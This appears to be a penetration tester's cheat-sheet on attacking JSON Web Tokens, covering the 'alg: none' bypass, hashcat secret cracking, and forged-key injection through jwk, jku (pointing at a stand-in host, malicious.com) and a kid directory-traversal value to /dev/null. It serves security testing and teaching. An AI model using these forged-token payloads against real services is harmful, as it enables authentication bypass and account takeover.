JWT attacks
Theory
JSON web tokens (JWTs) differ from standard tokens in that they contain data about users as part of authentication, session handling, and access control mechanisms.
JWT format
Three parts separated by a dot:
- Header (Base64) — metadata about the token
- Payload (Base64) — user “claims”
{
"Role": "Pentester",
"LinkedIn": "https://www.linkedin.com/in/emil-andrzejewski-70202b178/",
"Issuer": "Emil Andrzejewski",
"exp": 1691083198,
"iat": 1690996798
}
- Signature — hash value derived from header and payload
JWT header parameters:
jwk
(JSON Web Key)—JSON object representing the keyjku
(JSON Web Key Set URL)—URL containing the keykid
(Key ID) — used to identify the correct key (if more than one)
Extensions
- JWT Editor
Methodology
Flawed signature verification
- Modify the payload — test for unverified signature
- Modify the header — test for flawed signature verification
{
"typ": "JWT",
"alg": "none"
}
Secret key brute-force attacks
- Crack JWT secret
hashcat -a 0 -m 16500 <jwt> <wordlist>
2. JWT Editor Keys > New Symmetric Key > Generate > Repeater > Sign
{
"kty": "oct",
"kid": "cd1f778f-0cf0-46b2-a18b-bb15ba89ba99",
"k": "[Base64-encoded secret]"
}
JWT header parameter injections
All of the following techniques do not include Payload modification, as it is implementation-dependent.
- Inject self-signed JWT via the
jwk
parameter
JWT Editor Keys > New RSA Key > Generate > Ok
Repeater > Attack > Embedded JWK > Select RSA Key
2. Inject self-signed JWT via the jku
parameter
- Explore the
/.well-known/jwks.json
endpoint - Generate and host an RSA Key in the following form
{
"keys": [
{
"kty": "RSA",
"e": "AQAB",
"kid": "3c9cb628-cdc9-41c9-9935-a2feb8747050",
"n": "o-yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9mk6GPM9gNN4Y_qTVX67WhsN3JvaFYw-fhvsWQ"
}
]
}
- Modify the
kid
value in the Header to match the one in the RSA key - Add
jku
key to the Header with the value of the site hosting the key
{
"kid": "3c9cb628-cdc9-41c9-9935-a2feb8747050",
"alg": "RS256",
"jku": "https://malicious.com/key"
}
3. Inject self-signed JWT via the kid parameter
- Generate a symmetric key that uses an empty secret (Base64-encoded null byte)
{
"kty": "oct",
"kid": "41d7d7f9-3496-4aaa-8c6b-69e7b4fda590",
"k": "AA=="
}
- Modify the
kid
value to an empty file using the directory traversal vulnerability
{
"kid": "../../../../dev/null",
"alg": "HS256"
}
